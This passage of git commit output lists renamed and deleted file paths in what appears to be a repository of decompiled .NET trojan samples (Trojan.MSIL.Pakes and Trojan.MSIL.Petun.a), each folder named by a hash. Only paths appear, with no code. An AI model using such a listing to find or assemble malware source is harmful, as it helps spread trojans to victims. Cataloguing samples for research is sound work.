MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/MyProject.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/Stair.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/TC.resx (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/Trojan.MSIL.Pakes.ek.csproj (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/Trojan.MSIL.Pakes.ek.sln (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/hKPcZIVuuWerTnSqIiJUOg.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gb-2294a7fac87fa42d08c0288fa687473a785c2e1f975761517fa65de9332f4eba/AssemblyInfo.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gb-2294a7fac87fa42d08c0288fa687473a785c2e1f975761517fa65de9332f4eba/Nskougj41ajjwi4dtqj5drevqotiurz31.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gb-2294a7fac87fa42d08c0288fa687473a785c2e1f975761517fa65de9332f4eba/Trojan.MSIL.Pakes.gb.csproj (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gb-2294a7fac87fa42d08c0288fa687473a785c2e1f975761517fa65de9332f4eba/Trojan.MSIL.Pakes.gb.sln (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gb-2294a7fac87fa42d08c0288fa687473a785c2e1f975761517fa65de9332f4eba/program.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/0c64145d7c3646cea1fd9c57ba0c125a (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/AssemblyInfo.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/Trojan.MSIL.Pakes.gi.csproj (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/Trojan.MSIL.Pakes.gi.sln (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0002.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0002 .cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0003.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0003 .cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0005.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0006.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_0008.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_000E.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_000F.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/_003CModule_003E.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/pc1eOx2WJVV_416430903.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gi-e2af1d2ec8810054a7e65fb5365e18a07583523b66cf14779170d295b7915493/        ​  (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/AssemblyInfo.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/MXR5t0rZbd51obbpkf.JOnbWpgB4ZFdTfsMNN (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/RTVuFKK6sv7DMtTl1b/yEaIit4q8li6WX5J56.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/Trojan.MSIL.Pakes.gm.csproj (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/Trojan.MSIL.Pakes.gm.sln (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/_003CModule_003E{2CCA33D9-45A2-4817-B966-4A0D6BD9B.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/aR3nbf8dQp2feLmk31/SplashForm.resx (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/aR3nbf8dQp2feLmk31/lSfgApatkdxsVcGcrktoFd.resx (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/fNIw99bZInoAkCS9hy/oanbpGC9NLvXFKlXef.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/u0LUUuLFqGwy5lk05Y/OoTPyZNjUNZ6HYUMxs.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/u4Ef2TQRL0sKLXWmyn/IrWvp08Vs6OdNtqkIq.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/winlogon/ProjectInstaller.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/winlogon/ProjectInstaller.resx (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/winlogon/winlogon.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/zDtyZSSq9pXkMXrypQ/rOMuh5qpOKJug7dbPJ.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/AssemblyInfo.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/Trojan.MSIL.Pakes.y.csproj (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/Trojan.MSIL.Pakes.y.sln (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/ÄÂÂ.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/ÖÒÓ.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/ĐĩĺĤġ.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/AssemblyInfo.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/Trojan.MSIL.Pakes.y.csproj (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/Trojan.MSIL.Pakes.y.sln (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/ÄÂÂ.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/ÖÒÓ.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/ĐĩĺĤġ.cs (100%) delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/ESabkJ.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/Module1.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/ROS.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/Trojan.MSIL.Petun.a.csproj delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/Trojan.MSIL.Petun.a.sln delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/YRYD.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/BxUq.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/Module1.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/ROS.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/Trojan.MSIL.Petun.a.csproj delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/Trojan.MSIL.Petun.a.sln delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/VihxBEvUj.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/CTUpqBY.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/Module1.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/ROS.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/Trojan.MSIL.Petun.a.csproj delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/Trojan.MSIL.Petun.a.sln delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/imNmxrKIe.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/CJnBzQT.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/Module1.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/ROS.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/Trojan.MSIL.Petun.a.csproj delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/Trojan.MSIL.Petun.a.sln delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/UJ8ALmW0oRZrueDSNJ.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/cnhziFozG.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/Module1.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/ROS.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/Trojan.MSIL.Petun.a.csproj delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/Trojan.MSIL.Petun.a.sln delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/cXBQjE.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/zQTWO.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/IvtnGD.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/KQXCPOeh.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/Module1.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/ROS.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/Trojan.MSIL.Petun.a.csproj delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/Trojan.MSIL.Petun.a.sln delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/Module1.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/ROS.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/Trojan.MSIL.Petun.a.csproj delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/Trojan.MSIL.Petun.a.sln delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/esOQZj.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/hzwT.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/Module1.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/ROS.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/ThDqzYT.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/TnSqIUJGz.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/Trojan.MSIL.Petun.a.csproj delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/Trojan.MSIL.Petun.a.sln delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/DcFjhPEYP.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/Module1.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/ROS.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/SFfCBdKc.cs delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/Trojan.MSIL.Petun.a.csproj delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/Trojan.MSIL.Petun.a.sln delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/AssemblyInfo.cs delete mode 100644 